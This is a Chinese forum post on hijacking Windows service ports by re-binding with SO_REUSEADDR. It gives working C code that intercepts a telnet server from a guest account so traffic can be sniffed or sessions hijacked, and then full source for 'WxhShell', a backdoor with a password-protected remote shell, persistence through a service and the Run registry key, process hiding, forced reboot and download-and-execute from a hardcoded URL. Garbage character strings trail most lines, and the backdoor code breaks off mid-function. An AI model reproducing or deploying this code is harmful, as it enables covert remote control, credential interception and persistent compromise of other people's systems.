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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m eF7[>!U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9 [eiN  
S <mZs;  
  saddr.sin_family = AF_INET; i).%GMv*r  
T\6Qr$t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vt EfH  
1-kuK<KR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /`PYk]mJh  
omfX2Oa2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _J,**AZ~z  
r_7%|T8  
  这意味着什么?意味着可以进行如下的攻击: &CG94  
ndSu-8?L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?^&ih:"  
9ihg[k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +ai3   
1 iH@vd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _}{KS, f]0  
*DJsY/9d}'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '(]Wtx%9"  
0|GYtnd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6i/unwe!`)  
#$WnMJ@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dDcQSshL  
q;K]NP-_p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m(f`=+lqI`  
Q& [!+s:2J  
  #include 4M C]s~n  
  #include c)EYX o  
  #include z_c-1iXCW  
  #include    l+;S$evY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [if(B\&  
  int main() Ana[>wSZO@  
  { w,1N ;R&  
  WORD wVersionRequested; iwnGWGcuS  
  DWORD ret; }s2CND  
  WSADATA wsaData; ~ <1s[Hu  
  BOOL val; |gkNhxzB  
  SOCKADDR_IN saddr; c&;" Y{  
  SOCKADDR_IN scaddr; c!@|y E,  
  int err; cqU6 Y*n  
  SOCKET s; ?y|&Mz'XJ(  
  SOCKET sc; SFg4}*"C/  
  int caddsize; 7(/yyZQnZ  
  HANDLE mt; l>*X+TpA,  
  DWORD tid;   ET[5`z  
  wVersionRequested = MAKEWORD( 2, 2 ); +}jzge"  
  err = WSAStartup( wVersionRequested, &wsaData ); m{>1# 1;$t  
  if ( err != 0 ) { =p|IWn{P  
  printf("error!WSAStartup failed!\n"); Rk9n,"xpv  
  return -1; cc${[yj)  
  } }P.s  
  saddr.sin_family = AF_INET; .XgY&5Qk  
   s:{[Y7\?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >s%Db<(P=  
]MCH]/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KXMf2)pa  
  saddr.sin_port = htons(23); W~H`{x%Av>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &pK0>2  
  { :U\* 4l  
  printf("error!socket failed!\n"); #~Xj=M%  
  return -1; D*UxPm"pw  
  } dpz@T>MS=  
  val = TRUE; QXj#Brp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jl59;.P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @o[ZJ4>*  
  { JQb{?C  
  printf("error!setsockopt failed!\n"); gZHgL7@  
  return -1; Ft;x@!h%  
  } }^I36$\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gwNZ`_Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /%&5Iq\:vA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *~U*:>hS  
")ys!V9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \<I&utn  
  { m +A4aQ9  
  ret=GetLastError();  U :x;4  
  printf("error!bind failed!\n"); b4:{PD~Mh  
  return -1; FVNTE +LW  
  } h5P ]`r  
  listen(s,2); YuuTLX%3  
  while(1) = 1veO0  
  { I_#5gq  
  caddsize = sizeof(scaddr); uPho|hDp  
  //接受连接请求 3LyNi$`f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ftmP dha%+  
  if(sc!=INVALID_SOCKET) N_Ezp68Fp  
  { _zbIS&4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BN(=LQ2["  
  if(mt==NULL) w\[l4|g `  
  { 8@ f!,!Wn  
  printf("Thread Creat Failed!\n"); /0>'ZzjV,  
  break; XR VZU~ZV  
  } oFp1QrI3k8  
  } 1tO96t^d%  
  CloseHandle(mt); W*iTg%a\k  
  } +*W lj8  
  closesocket(s); ].Bx"L!B  
  WSACleanup(); (z;lNl(*C  
  return 0; &b>&XMIK  
  }   pC,Z=+:  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]Vj($O:  
  { k)z>9z%D  
  SOCKET ss = (SOCKET)lpParam; !m))Yp-"H  
  SOCKET sc; a/s5Oit2'X  
  unsigned char buf[4096]; {o^tSEN!-  
  SOCKADDR_IN saddr; AJ}m2EH  
  long num; tKyGD|g S  
  DWORD val; CN` ~DD{  
  DWORD ret; Q%~BD@Io  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yX*$PNL5w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (!b)<V*  
  saddr.sin_family = AF_INET; '>"blfix8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JXRU9`3)A  
  saddr.sin_port = htons(23); myVa5m!7Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i@D4bd9lR  
  { G*_]Lz(N  
  printf("error!socket failed!\n"); uDJ;GD[yc  
  return -1; J9t?;3  
  } ab9ecZ  
  val = 100; :B=Gb8?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I.Catm2  
  { 'Qg!ww7O  
  ret = GetLastError(); ]Ue aXwaU  
  return -1; K:XP;#OsP  
  } %${$P+a`D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yMyvX_UNI  
  { ~}{_/8'5  
  ret = GetLastError(); ,?jc0L.'r]  
  return -1; C6F7,v62  
  } / ~".GZ&29  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *pD|N  
  { )2l @%?9  
  printf("error!socket connect failed!\n"); w2s06`g  
  closesocket(sc); /zXOta G  
  closesocket(ss); dg~lz80  
  return -1; NNr6~m)3v  
  } ~uq010lMno  
  while(1) 9MO=f^f-  
  { \p.yR.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?[.8A/:5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1MO-60  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zx$1.IM"4  
  num = recv(ss,buf,4096,0); |qj"p  
  if(num>0) dR_6j}  
  send(sc,buf,num,0); SWhzcqp  
  else if(num==0) 5_](N$$  
  break; =NY55t.  
  num = recv(sc,buf,4096,0); "P|n'Mx  
  if(num>0) U/A iI;Ne  
  send(ss,buf,num,0); <%d!Sk4  
  else if(num==0) l(87s^_  
  break; W,H8B%e  
  } 'nM4t  
  closesocket(ss); R@pY+d9qp  
  closesocket(sc); 9M($_2,44  
  return 0 ; ]&P\|b1*g  
  } *U%3 [6hm  
f@hM^%  
p[xGL } +\  
========================================================== /i27F2NQm  
u_+iH$zA  
下边附上一个代码,,WXhSHELL U+>M@!=  
,m]5j_< }  
========================================================== RjvW*'2G  
^Y+C!I  
#include "stdafx.h" 6hd<ys?  
rq!*unJ  
#include <stdio.h> T_D] rMl  
#include <string.h> 6YNL4HE?  
#include <windows.h> itirh"[  
#include <winsock2.h> !dGu0wE  
#include <winsvc.h> WG6 0  
#include <urlmon.h> of_y<dd[G  
A&Aj!#  
#pragma comment (lib, "Ws2_32.lib") j:'g*IxM_  
#pragma comment (lib, "urlmon.lib") 6*>Lud  
X|Y(*$?D7  
#define MAX_USER   100 // 最大客户端连接数 7pY :.iVO  
#define BUF_SOCK   200 // sock buffer .S-)  
#define KEY_BUFF   255 // 输入 buffer w5%i  
!YjxCx  
#define REBOOT     0   // 重启 rqmb<# Z  
#define SHUTDOWN   1   // 关机 f4Y)GO<R]  
HLwMo&*rA  
#define DEF_PORT   5000 // 监听端口 P][jB  
kO3\v)B;  
#define REG_LEN     16   // 注册表键长度 7g"u)L&32  
#define SVC_LEN     80   // NT服务名长度 CKK}Z;~:  
;T WLo_  
// 从dll定义API $+7uB-KsU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %2 zmc%]r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); < z2wt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \z0HHCn'"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -%yrs6  
I@9'd$YY  
// wxhshell配置信息 ZzupK^5Z  
struct WSCFG { (XVBH 1p"  
  int ws_port;         // 监听端口 v}Ju2}IK  
  char ws_passstr[REG_LEN]; // 口令 '{jr9Vh  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4_=2|2Wz[  
  char ws_regname[REG_LEN]; // 注册表键名 8;DDCop 8L  
  char ws_svcname[REG_LEN]; // 服务名 Q&I`uS=F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /v+)#[]>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I!S Eb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WrGnLE kiV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |M?vFF]TN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _5-h\RB)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <ErX<(0`ig  
~pQN#C)CO>  
}; R^*baiXVI  
"GK9Y  
// default Wxhshell configuration %A$&9c%  
struct WSCFG wscfg={DEF_PORT, h0rPMd(K  
    "xuhuanlingzhe", Q# B0JT1  
    1, rKrHd  
    "Wxhshell", Zj_2>A  
    "Wxhshell", c;$ 4}U4  
            "WxhShell Service", !=YKfzE  
    "Wrsky Windows CmdShell Service", _VK I@   
    "Please Input Your Password: ", A#=TR_@:  
  1, IA@>'O  
  "http://www.wrsky.com/wxhshell.exe", XnQR(r)pR2  
  "Wxhshell.exe" E&P2E3P  
    }; -[=eVS.2%  
4KM-$h,4O  
// 消息定义模块 \#_ymM0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e|\xF V=4  
char *msg_ws_prompt="\n\r? for help\n\r#>";  }~/b%^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5G f@n/M"  
char *msg_ws_ext="\n\rExit."; Y &C b  
char *msg_ws_end="\n\rQuit."; "o&8\KSs  
char *msg_ws_boot="\n\rReboot..."; x=oV!x  
char *msg_ws_poff="\n\rShutdown..."; &<PIm  
char *msg_ws_down="\n\rSave to "; ;miif  
 K& #il  
char *msg_ws_err="\n\rErr!"; 4 o*i(W  
char *msg_ws_ok="\n\rOK!"; X8$i*#D  
7FG;fJ;&NZ  
char ExeFile[MAX_PATH]; _}R[mr/  
int nUser = 0; C`[<6>&y  
HANDLE handles[MAX_USER]; _=Gj J~2n  
int OsIsNt; V*giF`gq  
KewW8H~tb  
SERVICE_STATUS       serviceStatus; ,vR?iNd:q[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~L)~p%rbi  
lP F326e  
// 函数声明 =,6H2ew  
int Install(void); VeYT[Us"  
int Uninstall(void); -& 1(~7  
int DownloadFile(char *sURL, SOCKET wsh); OETo?Wg1Z  
int Boot(int flag); (pxH<k=Ah  
void HideProc(void); Eomfa:WL  
int GetOsVer(void); XX8HSw!w  
int Wxhshell(SOCKET wsl); YB38K(  
void TalkWithClient(void *cs); VdlT+'HF  
int CmdShell(SOCKET sock); ^_WR) F'K  
int StartFromService(void); o,6t: ?Z  
int StartWxhshell(LPSTR lpCmdLine); -S'KxC  
DrK]U}3fh"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xXe3E&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *f[ 5rr4  
Xs0)4U  
// 数据结构和表定义 ;c!> =  
SERVICE_TABLE_ENTRY DispatchTable[] = \SWTP1  
{ r9[S%Def  
{wscfg.ws_svcname, NTServiceMain}, ^A$=6=CX  
{NULL, NULL} !HY^QK  
}; 4p:d#,?r  
1'~Xn 4 f  
// 自我安装 uo#1^`P  
int Install(void) jI ol`WX  
{ daE.y_9y  
  char svExeFile[MAX_PATH]; [o)K1>>7  
  HKEY key; 6'^_*n  
  strcpy(svExeFile,ExeFile); Q5,zs_j  
,!#Am13  
// 如果是win9x系统,修改注册表设为自启动 J p'^!  
if(!OsIsNt) { TnF~'RZYb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;wn9 21r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h^Wb<O`S  
  RegCloseKey(key); D=e*rrL7a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @<\oM]jX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /K:r4Kw  
  RegCloseKey(key); k@4N7}  
  return 0; ZQ`8RF *v  
    } TM)INo^  
  } b>ai"!  
} gRLt0&Q~  
else { B)0/kY7c  
R(1:I@<?E  
// 如果是NT以上系统,安装为系统服务 cl& w/OJ#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5YY5t^T  
if (schSCManager!=0) =7 l uV_5  
{ dyQ7@K.E  
  SC_HANDLE schService = CreateService }z` x-(V  
  ( %e iV^>  
  schSCManager, .9J^\%JD  
  wscfg.ws_svcname, p{Lrv%-j  
  wscfg.ws_svcdisp, c8uaZvfW  
  SERVICE_ALL_ACCESS, ]LvP)0=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x3+ -wv  
  SERVICE_AUTO_START, (?z?/4>7<  
  SERVICE_ERROR_NORMAL, &jDN6n3z  
  svExeFile, 7:4c\C0  
  NULL, WVP?Ie8  
  NULL, MBWoPK  
  NULL, { DYY9MG8  
  NULL, (0{Dn5MH  
  NULL _^iY;&  
  ); VVJ0?G (?  
  if (schService!=0) R"cQyG4  
  { be+-p  
  CloseServiceHandle(schService); kV'zA F v  
  CloseServiceHandle(schSCManager); '2^}de!E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fb,*;M1'  
  strcat(svExeFile,wscfg.ws_svcname); a\P:jgF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wd`p>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FB6Lz5:Vf  
  RegCloseKey(key);  2E*=EjGV  
  return 0; ZF7n]LgSc&  
    } k4{!h?h  
  } dz^HN`AlzC  
  CloseServiceHandle(schSCManager); =xk>yw!O)  
} L^qCE-[  
} m` 1dB%;?  
qiz(k:\o  
return 1; 7$*E0  
} $0V+<  
SdnnXEB7  
// 自我卸载 utck{]P  
int Uninstall(void) B- @bU@H  
{ c7CYulm  
  HKEY key; h0F=5| B  
"(=g7,I4  
if(!OsIsNt) { i!YfR]"}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DuC#tDP  
  RegDeleteValue(key,wscfg.ws_regname); :!Ci#[g  
  RegCloseKey(key); `l45T~`]$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ta[2uv>  
  RegDeleteValue(key,wscfg.ws_regname); onu G  
  RegCloseKey(key); a;[\nCK  
  return 0; V Rv4p5  
  } B EwaQvQ!  
} 'xS@cF o(  
} (BY 0b%^  
else { zY/Oh9`=v  
M6wH$!zRa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >lIzeEW#  
if (schSCManager!=0) ?)9L($VVD  
{ xoVd[c!   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l~$)>?ZD  
  if (schService!=0) <lzC|>BG  
  { C]b:#S${  
  if(DeleteService(schService)!=0) { I'xc$f_+  
  CloseServiceHandle(schService); k -G9'c~  
  CloseServiceHandle(schSCManager); 4}C \N  
  return 0; ;MeY@* "{  
  } "6C a{n1hk  
  CloseServiceHandle(schService); )q{qWobS0  
  } $'l<2h>4  
  CloseServiceHandle(schSCManager); ]#NfH-T  
} T[4xt,[a  
} 6r"NU`1A;r  
_1)n_P4  
return 1; E^J &?-  
} \JPMGcL  
q25p3  
// 从指定url下载文件 Y nnK]N;\x  
int DownloadFile(char *sURL, SOCKET wsh) RF*>U a  
{ 2<*"@Vj  
  HRESULT hr; 1tTP;C l#  
char seps[]= "/"; 4x ?NCD=k  
char *token; 0`zdj  
char *file; ([<{RjPb  
char myURL[MAX_PATH]; 4U\>TFO  
char myFILE[MAX_PATH]; ^+-QY\N j  
{ 1~]}K2  
strcpy(myURL,sURL); F3V:B.C  
  token=strtok(myURL,seps); G1it 3^*$  
  while(token!=NULL) AAfhh5i  
  { .@x.    
    file=token; psvc,V_*  
  token=strtok(NULL,seps); 1<~n2}   
  } L+ew/I>:  
j)G%I y[`  
GetCurrentDirectory(MAX_PATH,myFILE); `yq) y>_  
strcat(myFILE, "\\"); 8p829  
strcat(myFILE, file); Y->sJm  
  send(wsh,myFILE,strlen(myFILE),0); \X6q A-Ht  
send(wsh,"...",3,0); K?M~x&Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8oU R/___  
  if(hr==S_OK) IZdWEbN1  
return 0; b&A/S$*  
else ?r =`Kl  
return 1; Q65M(x+oy  
7V^j9TC  
} d$ o m\@  
f4\F:YT  
// 系统电源模块 m!zv t  
int Boot(int flag) qPi $kecx  
{ O:+y/c  
  HANDLE hToken; ~{g/  
  TOKEN_PRIVILEGES tkp; _s-X5 xU  
| #a{1Z)  
  if(OsIsNt) { tag)IWAiE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z  OAg7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #2\M(5d  
    tkp.PrivilegeCount = 1; orWF>o=1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; StR)O))I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZH=Bm^  
if(flag==REBOOT) { J7wwM'\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `6Q+N=k~Z  
  return 0; cMtUb  
} ?l[#d7IB  
else { #mioT",bm=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N1E9w:T`  
  return 0; $0{ h Uex  
} CXu$0DQ(  
  } ~y Dl & S  
  else { mGwJ>'+d  
if(flag==REBOOT) { W#d'SL#5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \\Zsxya1  
  return 0; kSJ;kz,_  
} oQ Vm)Bn'R  
else { zb~;<:<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !}`[s2ji  
  return 0; _MQh<,Z8  
} nR Hl Hu  
} tT A  
yWN'va1+$  
return 1; cjLA7I.O  
} :hB6-CZkqN  
3<Z@!ft8  
// win9x进程隐藏模块 b V_<5PHP  
void HideProc(void) 0|hOoO]?q&  
{ v!S(T];)  
0ikA@SAq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _+~jZ]o N  
  if ( hKernel != NULL ) /lHs]) ,  
  { X)TZ  S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5M>SrZH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2:[<E2z  
    FreeLibrary(hKernel); (:+Wc^0  
  } ;]BNc"  
Vn^8nS  
return; Nhjz~S<o  
} 'oBv(H  
4/x.qoj  
// 获取操作系统版本 ARJtE@s6Y  
int GetOsVer(void) zyK11  
{ H!y-o'Z  
  OSVERSIONINFO winfo; s,laJf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v49 i.c9  
  GetVersionEx(&winfo); M;z )c|Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o}D7 $6  
  return 1; hg^k lQD  
  else C0>)WVCK  
  return 0; Ac>G F  
} 3\B~`=*q/  
qm=9!jqC;  
// 客户端句柄模块 @nj`T{*.  
int Wxhshell(SOCKET wsl) (/P-9<"U  
{ %CrpUx  
  SOCKET wsh; SwH#=hg  
  struct sockaddr_in client; |L)qH"Eo  
  DWORD myID; iqTmgE-  
0NSCeq%;6q  
  while(nUser<MAX_USER) 8L))@SA+uJ  
{ f*[Uq0?  
  int nSize=sizeof(client); 2$ \#BG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7ws[Rp8  
  if(wsh==INVALID_SOCKET) return 1; oFu( J  
\FIOFbwe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T,4REbm^  
if(handles[nUser]==0) VB+y9$Y'  
  closesocket(wsh); J\ ?  
else a3_pF~Qx  
  nUser++; .18MMzdN  
  } o PA m*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,5|@vW2@u  
@%As>X<3t  
  return 0; ,Ct1)%   
} 3{- 8n/4 k  
z0tm3ovp  
// 关闭 socket Nu%MXu+  
void CloseIt(SOCKET wsh) X4v0>c  
{ z`y^o*qc]  
closesocket(wsh); dMH}%f5;1  
nUser--; S? (/~Vb%  
ExitThread(0); -sk!XWW+  
} lLL)S  
LZ~}*}jy  
// 客户端请求句柄 b U>.Bp]  
void TalkWithClient(void *cs) }xy[ &-dh  
{ ca$K)=cDW  
0qo :M3  
  SOCKET wsh=(SOCKET)cs; *h"7!g  
  char pwd[SVC_LEN]; <a%RKjQvT  
  char cmd[KEY_BUFF]; $%3%&+z$I  
char chr[1]; b,RQ" {  
int i,j; >o!~T}J7  
nTPq|=C  
  while (nUser < MAX_USER) { p+1kU1F0  
UJQGwTA W  
if(wscfg.ws_passstr) { 'W J3q|o/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;[[oZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l>jNBxB|/A  
  //ZeroMemory(pwd,KEY_BUFF); (wZ/I(4  
      i=0; 7 +kU8}  
  while(i<SVC_LEN) { kG3m1: :  
_B^Q;54c  
  // 设置超时 Vqxxm&^P  
  fd_set FdRead; m3 W  
  struct timeval TimeOut; V82N8-l  
  FD_ZERO(&FdRead); </jTWc'}  
  FD_SET(wsh,&FdRead); IkJ-*vI6  
  TimeOut.tv_sec=8; /~;om\7r  
  TimeOut.tv_usec=0; 4oRDvn7f&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [I5}q&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W 33MYw  
v,A8Mk2s#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p;9"0rj,z  
  pwd=chr[0]; ._US8  
  if(chr[0]==0xd || chr[0]==0xa) { }w/6"MJ[n  
  pwd=0; ,ftKRq  
  break; {Z(kzJwN  
  } S;I}:F#5  
  i++; ^s?=$&8f![  
    } xv>]e <":  
:[.**,0R  
  // 如果是非法用户,关闭 socket qv.s-@l8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x3Ze\N8w  
} wOs t).  
Vo8gLX]a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eNX!EN(^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J>p6')Y6~  
:pvJpu$]  
while(1) { `(o:;<&3  
IcP\#zhEv  
  ZeroMemory(cmd,KEY_BUFF); ~l"]J'jF"H  
5l4YYwd>v  
      // 自动支持客户端 telnet标准   2c1L[]h'  
  j=0; CWw#0  
  while(j<KEY_BUFF) { ~Y/o9x0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QSSA)  
  cmd[j]=chr[0]; aGq1 YOD[$  
  if(chr[0]==0xa || chr[0]==0xd) { 0<#>LWaM_  
  cmd[j]=0; p;n"zr8U  
  break;  aK33bn'j  
  } m< Y  I}  
  j++; uJ T^=Y  
    } u.dYDi  
xTg=oq  
  // 下载文件 )J{ .z   
  if(strstr(cmd,"http://")) { ;{89*e*)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B nUWg ^E  
  if(DownloadFile(cmd,wsh)) wGg_ vAn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +FJ+,|i  
  else h yK&)y?~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^|_vq^XR  
  } D1R$s*{  
  else { @L?KcGD  
dJ>~  
    switch(cmd[0]) { B-UsMO  
  @|([b r|O  
  // 帮助 vb`R+y@  
  case '?': { ?"$Rw32  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <NWq0 3:&  
    break; LR#BP}\b'  
  } +h08uo5c  
  // 安装 yQ0:M/r;0  
  case 'i': { #f<3[BLx  
    if(Install()) ?k dan  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50""n7I<%  
    else /]oQqZHv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S#:l17e3  
    break; _Wqy,L;J  
    } pZz\o  
  // 卸载 &EmG\vfE  
  case 'r': { \{ve6`7Rn  
    if(Uninstall()) ,&.$r/x|?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bmt^*;WY+  
    else 7-gT:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $b(CN+#  
    break; nF B]#LLv  
    } $[UUf}7L   
  // 显示 wxhshell 所在路径 9y&bKB2,  
  case 'p': { P; h8  
    char svExeFile[MAX_PATH]; F?^L^N^  
    strcpy(svExeFile,"\n\r"); V503  
      strcat(svExeFile,ExeFile); &~=r .T  
        send(wsh,svExeFile,strlen(svExeFile),0); _n1[(I  
    break; z]7/Gc,j  
    } ``%yVVg}  
  // 重启 .$@+ / @4  
  case 'b': { .,20_<j%=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "}V_.I* +  
    if(Boot(REBOOT)) DD2K>1A1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q':hmulT!  
    else { "([/G?QAG  
    closesocket(wsh); bQ(-M:  
    ExitThread(0); inip/&P?V  
    } 4jt(tZS  
    break; P?S]Q19Q4  
    } T+^c=[W  
  // 关机 tva=DS  
  case 'd': { W.NZ%~|+e/  
